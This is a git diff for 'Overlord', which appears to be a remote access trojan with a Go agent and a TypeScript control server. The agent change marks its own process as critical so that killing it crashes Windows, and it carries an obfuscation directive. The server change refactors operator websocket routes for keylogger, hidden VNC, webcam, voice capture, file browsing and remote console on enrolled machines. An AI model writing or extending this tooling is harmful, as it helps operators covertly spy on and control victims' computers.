diff --git a/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go index 5ec5c18..18c4d6c 100644 --- a/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go +++ b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go @@ -6,6 +6,8 @@ package criticalproc import ( "fmt" "log" + "runtime" + "sync" "unsafe" "golang.org/x/sys/windows" @@ -14,9 +16,61 @@ import ( var ( modntdll = windows.NewLazySystemDLL("ntdll.dll") procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess") + modkernel32 = windows.NewLazySystemDLL("kernel32.dll") + procSetConsoleCtrlHandler = modkernel32.NewProc("SetConsoleCtrlHandler") + procGetModuleHandleW = modkernel32.NewProc("GetModuleHandleW") + moduser32 = windows.NewLazySystemDLL("user32.dll") + procRegisterClassExW = moduser32.NewProc("RegisterClassExW") + procCreateWindowExW = moduser32.NewProc("CreateWindowExW") + procDefWindowProcW = moduser32.NewProc("DefWindowProcW") + procGetMessageW = moduser32.NewProc("GetMessageW") + procTranslateMessage = moduser32.NewProc("TranslateMessage") + procDispatchMessageW = moduser32.NewProc("DispatchMessageW") + + stateMu sync.Mutex + breakOnTerminationEnabled bool + shutdownHandlerRegistered bool + consoleCtrlCallback uintptr + shutdownWindowCallback uintptr ) const processBreakOnTermination = 29 +const ( + ctrlCloseEvent = 2 + ctrlLogoffEvent = 5 + ctrlShutdownEvent = 6 + wmQueryEndSession = 0x0011 + wmEndSession = 0x0016 +) + +type wndClassEx struct { + cbSize uint32 + style uint32 + lpfnWndProc uintptr + cbClsExtra int32 + cbWndExtra int32 + hInstance windows.Handle + hIcon windows.Handle + hCursor windows.Handle + hbrBackground windows.Handle + lpszMenuName *uint16 + lpszClassName *uint16 + hIconSm windows.Handle +} + +type point struct { + x int32 + y int32 +} + +type msg struct { + hwnd windows.Handle + message uint32 + wParam uintptr + lParam uintptr + time uint32 + pt point +} func Setup() { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 @@ -32,15 +86,117 @@ func Setup() { log.Printf("[criticalproc] failed to set critical process: %v", err) return } + stateMu.Lock() + breakOnTerminationEnabled = true + stateMu.Unlock() + registerShutdownHandler() log.Printf("[criticalproc] process marked as critical") } func Teardown() { - if !windows.GetCurrentProcessToken().IsElevated() { + stateMu.Lock() + enabled := breakOnTerminationEnabled + stateMu.Unlock() + if !enabled { return } if err := ntSetBreakOnTermination(0); err != nil { log.Printf("[criticalproc] failed to unset critical process: %v", err) + return + } + stateMu.Lock() + breakOnTerminationEnabled = false + stateMu.Unlock() +} + +func registerShutdownHandler() { + stateMu.Lock() + if shutdownHandlerRegistered { + stateMu.Unlock() + return + } + shutdownHandlerRegistered = true + stateMu.Unlock() + + consoleCtrlCallback = windows.NewCallback(func(ctrlType uint32) uintptr { + switch ctrlType { + case ctrlCloseEvent, ctrlLogoffEvent, ctrlShutdownEvent: + Teardown() + } + return 0 + }) + + ret, _, err := procSetConsoleCtrlHandler.Call(consoleCtrlCallback, 1) + if ret == 0 { + log.Printf("[criticalproc] failed to register shutdown handler: %v", err) + } + go runShutdownWindow() +} + +func runShutdownWindow() { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + + className, err := windows.UTF16PtrFromString("OverlordCriticalProcessShutdownWindow") + if err != nil { + log.Printf("[criticalproc] failed to create shutdown window class name: %v", err) + return + } + + instance, _, _ := procGetModuleHandleW.Call(0) + shutdownWindowCallback = windows.NewCallback(func(hwnd uintptr, msg uint32, wParam uintptr, lParam uintptr) uintptr { + switch msg { + case wmQueryEndSession: + Teardown() + return 1 + case wmEndSession: + if wParam != 0 { + Teardown() + } + } + ret, _, _ := procDefWindowProcW.Call(hwnd, uintptr(msg), wParam, lParam) + return ret + }) + + wc := wndClassEx{ + cbSize: uint32(unsafe.Sizeof(wndClassEx{})), + lpfnWndProc: shutdownWindowCallback, + hInstance: windows.Handle(instance), + lpszClassName: className, + } + ret, _, registerErr := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))) + if ret == 0 { + log.Printf("[criticalproc] failed to register shutdown window class: %v", registerErr) + return + } + + hwnd, _, createErr := procCreateWindowExW.Call( + 0, + uintptr(unsafe.Pointer(className)), + uintptr(unsafe.Pointer(className)), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + instance, + 0, + ) + if hwnd == 0 { + log.Printf("[criticalproc] failed to create shutdown window: %v", createErr) + return + } + + var message msg + for { + ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), hwnd, 0, 0) + if int32(ret) <= 0 { + return + } + procTranslateMessage.Call(uintptr(unsafe.Pointer(&message))) + procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message))) } } diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 15a09be..f7f7148 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -1,5 +1,6 @@ { "lockfileVersion": 1, + "configVersion": 0, "workspaces": { "": { "name": "overlord-server", diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index 7c0df10..69fa9d2 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -130,6 +130,9 @@ Codec: auto +
@@ -162,9 +165,6 @@ - diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts index dc9a914..609c541 100644 --- a/Overlord-Server/src/db/repositories.ts +++ b/Overlord-Server/src/db/repositories.ts @@ -1,5 +1,5 @@ import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types"; -import { hasThumbnail, getThumbnailVersion } from "../thumbnails"; +import { getThumbnailSummaries } from "../thumbnails"; import { db, dbPath } from "./connection"; import "./schema"; @@ -905,48 +905,52 @@ export function listClients(filters: ListFilters): ListResult { .all(...params, pageSize, offset); const { floodedHwids, floodedHardware, floodedIps } = getFloodSetsWithCache(); + const thumbnailSummaries = getThumbnailSummaries(rows.map((row: any) => row.id)); - const items = rows.map((c: any) => ({ - id: c.id, - hwid: c.hwid, - role: (c.role as ClientRole) || "client", - ip: c.ip || null, - lastSeen: Number(c.lastSeen) || 0, - host: c.host, - os: c.os || "unknown", - arch: c.arch || "arch?", - version: c.version || "0", - user: c.user, - nickname: c.nickname || null, - customTag: c.customTag || null, - customTagNote: c.customTagNote ?? null, - monitors: c.monitors, - country: c.country || "ZZ", - pingMs: c.pingMs ?? null, - online: c.online === 1, - bookmarked: c.bookmarked === 1, - buildTag: c.buildTag || null, - builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null, - enrollmentStatus: c.enrollmentStatus || "pending", - publicKey: c.publicKey || null, - keyFingerprint: c.keyFingerprint || null, - cpu: c.cpu || null, - gpu: c.gpu || null, - ram: c.ram || null, - isAdmin: c.isAdmin === 1, - elevation: c.elevation || null, - permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null, - disconnectReason: c.disconnectReason || null, - disconnectDetail: c.disconnectDetail || null, - groupId: typeof c.groupId === "number" ? c.groupId : null, - groupName: c.groupName || null, - groupColor: c.groupColor || null, - notificationsMuted: c.notificationsMuted === 1, - denyReason: c.denyReason || null, - hasThumbnail: hasThumbnail(c.id), - thumbnailVersion: getThumbnailVersion(c.id), - suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }), - })); + const items = rows.map((c: any) => { + const thumbnail = thumbnailSummaries.get(c.id); + return { + id: c.id, + hwid: c.hwid, + role: (c.role as ClientRole) || "client", + ip: c.ip || null, + lastSeen: Number(c.lastSeen) || 0, + host: c.host, + os: c.os || "unknown", + arch: c.arch || "arch?", + version: c.version || "0", + user: c.user, + nickname: c.nickname || null, + customTag: c.customTag || null, + customTagNote: c.customTagNote ?? null, + monitors: c.monitors, + country: c.country || "ZZ", + pingMs: c.pingMs ?? null, + online: c.online === 1, + bookmarked: c.bookmarked === 1, + buildTag: c.buildTag || null, + builtByUserId: typeof c.builtByUserId === "number" ? c.builtByUserId : null, + enrollmentStatus: c.enrollmentStatus || "pending", + publicKey: c.publicKey || null, + keyFingerprint: c.keyFingerprint || null, + cpu: c.cpu || null, + gpu: c.gpu || null, + ram: c.ram || null, + isAdmin: c.isAdmin === 1, + elevation: c.elevation || null, + permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null, + disconnectReason: c.disconnectReason || null, + disconnectDetail: c.disconnectDetail || null, + groupId: typeof c.groupId === "number" ? c.groupId : null, + groupName: c.groupName || null, + groupColor: c.groupColor || null, + notificationsMuted: c.notificationsMuted === 1, + denyReason: c.denyReason || null, + hasThumbnail: thumbnail?.hasThumbnail ?? false, + thumbnailVersion: thumbnail?.thumbnailVersion ?? 0, + suspiciousFlags: computeClientSuspiciousFlags(c, { floodedHwids, floodedHardware, floodedIps }), + }; + }); return { page, pageSize, total: totalRow.c, online: onlineRow.c, items }; } diff --git a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts index f0e290c..dee0691 100644 --- a/Overlord-Server/src/server/routes/ws-upgrade-routes.ts +++ b/Overlord-Server/src/server/routes/ws-upgrade-routes.ts @@ -1,8 +1,9 @@ import { authenticateRequest } from "../../auth"; import { logger } from "../../logger"; import { isIpBanned } from "../../db"; -import type { FeatureName } from "../../users"; +import type { FeatureName, UserRole } from "../../users"; import { hasPermission, requireClientAccess, requireFeatureAccess } from "../../rbac"; +import type { SocketRole } from "../../sessions/types"; type RequestServer = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -57,38 +58,181 @@ function checkOperatorAccess( return null; } +type AuthenticatedUser = { + userId: number; + role: UserRole; +}; + +type ClientViewerUpgradeRoute = { + pattern: RegExp; + role: SocketRole; + feature: FeatureName; + sessionId?: () => string; +}; + +const clientViewerUpgradeRoutes: ClientViewerUpgradeRoute[] = [ + { + pattern: /^\/api\/clients\/(.+)\/console\/ws$/, + role: "console_viewer", + feature: "console", + sessionId: () => crypto.randomUUID(), + }, + { + pattern: /^\/api\/clients\/(.+)\/rd\/ws$/, + role: "rd_viewer", + feature: "remote_desktop", + }, + { + pattern: /^\/api\/clients\/(.+)\/hvnc\/ws$/, + role: "hvnc_viewer", + feature: "hvnc", + }, + { + pattern: /^\/api\/clients\/(.+)\/webcam\/ws$/, + role: "webcam_viewer", + feature: "webcam", + }, + { + pattern: /^\/api\/clients\/(.+)\/files\/ws$/, + role: "file_browser_viewer", + feature: "file_browser", + }, + { + pattern: /^\/api\/clients\/(.+)\/processes\/ws$/, + role: "process_viewer", + feature: "processes", + }, + { + pattern: /^\/api\/clients\/(.+)\/keylogger\/ws$/, + role: "keylogger_viewer", + feature: "keylogger", + }, + { + pattern: /^\/api\/clients\/(.+)\/voice\/ws$/, + role: "voice_viewer", + feature: "voice", + }, + { + pattern: /^\/api\/clients\/(.+)\/desktop-audio\/ws$/, + role: "desktop_audio_viewer", + feature: "voice", + }, +]; + +type GlobalViewerUpgradeRoute = { + path: string; + role: SocketRole; + authorize?: (user: AuthenticatedUser) => Response | null; +}; + +const globalViewerUpgradeRoutes: GlobalViewerUpgradeRoute[] = [ + { path: "/api/notifications/ws", role: "notifications_viewer" }, + { path: "/api/dashboard/ws", role: "dashboard_viewer" }, + { + path: "/api/chat/ws", + role: "chat_viewer", + authorize: (user) => + hasPermission(user.role, "chat:write", user.userId) + ? null + : new Response("Forbidden: Chat access denied", { status: 403 }), + }, +]; + +function getRequestIp(req: Request, server: RequestServer): string { + return server.requestIP(req)?.address || ""; +} + +function upgradeOrFail( + req: Request, + server: RequestServer, + data: Record, +): Response { + if (server.upgrade(req, { data })) { + return new Response(); + } + return new Response("Upgrade failed", { status: 500 }); +} + +async function authenticateViewerRequest(req: Request): Promise { + const user = await authenticateRequest(req); + if (!user) { + return new Response("Unauthorized", { status: 401 }); + } + return user; +} + +async function tryClientViewerUpgrade( + req: Request, + url: URL, + server: RequestServer, +): Promise { + for (const route of clientViewerUpgradeRoutes) { + const match = url.pathname.match(route.pattern); + if (!match) continue; + + const user = await authenticateViewerRequest(req); + if (user instanceof Response) return user; + + if (user.role === "viewer") { + return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); + } + + const clientId = match[1]; + const denied = checkOperatorAccess(user, clientId, route.feature); + if (denied) return denied; + + const data: Record = { + role: route.role, + clientId, + ip: getRequestIp(req, server), + userRole: user.role, + userId: user.userId, + }; + if (route.sessionId) { + data.sessionId = route.sessionId(); + } + return upgradeOrFail(req, server, data); + } + + return null; +} + +async function tryGlobalViewerUpgrade( + req: Request, + url: URL, + server: RequestServer, +): Promise { + if (req.method !== "GET") return null; + + const route = globalViewerUpgradeRoutes.find((candidate) => candidate.path === url.pathname); + if (!route) return null; + + const user = await authenticateViewerRequest(req); + if (user instanceof Response) return user; + + const denied = route.authorize?.(user); + if (denied) return denied; + + return upgradeOrFail(req, server, { + role: route.role, + clientId: "", + ip: getRequestIp(req, server), + userRole: user.role, + userId: user.userId, + }); +} + export async function handleWsUpgradeRoutes( req: Request, url: URL, server: RequestServer, deps: WsUpgradeDeps, ): Promise { - const ip = server.requestIP(req)?.address || ""; + const ip = getRequestIp(req, server); if (isWsRateLimited(ip)) { return new Response("Too Many Requests", { status: 429 }); } - const consoleWsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/console\/ws$/); - if (consoleWsMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = consoleWsMatch[1]; - const denied = checkOperatorAccess(user, clientId, "console"); - if (denied) return denied; - const sessionId = crypto.randomUUID(); - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "console_viewer", clientId, sessionId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - const wsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/stream\/ws$/); if (wsMatch) { logger.info(`[auth] Checking agent authorization for client connection`); @@ -97,215 +241,18 @@ export async function handleWsUpgradeRoutes( } const clientId = wsMatch[1]; const role = "client"; - const ip = server.requestIP(req)?.address || ""; if (ip && isIpBanned(ip)) { logger.warn(`[auth] Rejected banned IP ${ip} for client ${clientId}`); return new Response("Forbidden", { status: 403 }); } - if (server.upgrade(req, { data: { role, clientId, ip } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); + return upgradeOrFail(req, server, { role, clientId, ip }); } - const rdMatch = url.pathname.match(/^\/api\/clients\/(.+)\/rd\/ws$/); - if (rdMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } + const clientViewerResponse = await tryClientViewerUpgrade(req, url, server); + if (clientViewerResponse) return clientViewerResponse; - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = rdMatch[1]; - const denied = checkOperatorAccess(user, clientId, "remote_desktop"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "rd_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const hvncMatch = url.pathname.match(/^\/api\/clients\/(.+)\/hvnc\/ws$/); - if (hvncMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = hvncMatch[1]; - const denied = checkOperatorAccess(user, clientId, "hvnc"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "hvnc_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const webcamMatch = url.pathname.match(/^\/api\/clients\/(.+)\/webcam\/ws$/); - if (webcamMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = webcamMatch[1]; - const denied = checkOperatorAccess(user, clientId, "webcam"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "webcam_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const fbMatch = url.pathname.match(/^\/api\/clients\/(.+)\/files\/ws$/); - if (fbMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = fbMatch[1]; - const denied = checkOperatorAccess(user, clientId, "file_browser"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "file_browser_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const processMatch = url.pathname.match(/^\/api\/clients\/(.+)\/processes\/ws$/); - if (processMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = processMatch[1]; - const denied = checkOperatorAccess(user, clientId, "processes"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "process_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const keyloggerMatch = url.pathname.match(/^\/api\/clients\/(.+)\/keylogger\/ws$/); - if (keyloggerMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = keyloggerMatch[1]; - const denied = checkOperatorAccess(user, clientId, "keylogger"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "keylogger_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/); - if (voiceMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = voiceMatch[1]; - const denied = checkOperatorAccess(user, clientId, "voice"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - const desktopAudioMatch = url.pathname.match(/^\/api\/clients\/(.+)\/desktop-audio\/ws$/); - if (desktopAudioMatch) { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - - if (user.role === "viewer") { - return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); - } - const clientId = desktopAudioMatch[1]; - const denied = checkOperatorAccess(user, clientId, "voice"); - if (denied) return denied; - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "desktop_audio_viewer", clientId, ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - if (req.method === "GET" && url.pathname === "/api/notifications/ws") { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - if (req.method === "GET" && url.pathname === "/api/dashboard/ws") { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "dashboard_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } - - if (req.method === "GET" && url.pathname === "/api/chat/ws") { - const user = await authenticateRequest(req); - if (!user) { - return new Response("Unauthorized", { status: 401 }); - } - if (!hasPermission(user.role, "chat:write", user.userId)) { - return new Response("Forbidden: Chat access denied", { status: 403 }); - } - const ip = server.requestIP(req)?.address || ""; - if (server.upgrade(req, { data: { role: "chat_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) { - return new Response(); - } - return new Response("Upgrade failed", { status: 500 }); - } + const globalViewerResponse = await tryGlobalViewerUpgrade(req, url, server); + if (globalViewerResponse) return globalViewerResponse; return null; } diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts index 73e7895..70b0117 100644 --- a/Overlord-Server/src/sessions/types.ts +++ b/Overlord-Server/src/sessions/types.ts @@ -5,6 +5,7 @@ export type SocketRole = | ClientRole | "console_viewer" | "rd_viewer" + | "hvnc_viewer" | "webcam_viewer" | "file_browser_viewer" | "process_viewer" diff --git a/Overlord-Server/src/thumbnails.ts b/Overlord-Server/src/thumbnails.ts index b8a23dc..30a5055 100644 --- a/Overlord-Server/src/thumbnails.ts +++ b/Overlord-Server/src/thumbnails.ts @@ -92,6 +92,23 @@ export function getThumbnailVersion(id: string): number { return thumbnails.get(id)?.version ?? 0; } +export type ThumbnailSummary = { + hasThumbnail: boolean; + thumbnailVersion: number; +}; + +export function getThumbnailSummaries(ids: readonly string[]): Map { + const summaries = new Map(); + for (const id of ids) { + const thumbnail = thumbnails.get(id); + summaries.set(id, { + hasThumbnail: !!thumbnail, + thumbnailVersion: thumbnail?.version ?? 0, + }); + } + return summaries; +} + export function clearThumbnail(id: string) { thumbnails.delete(id); latestFrames.delete(id);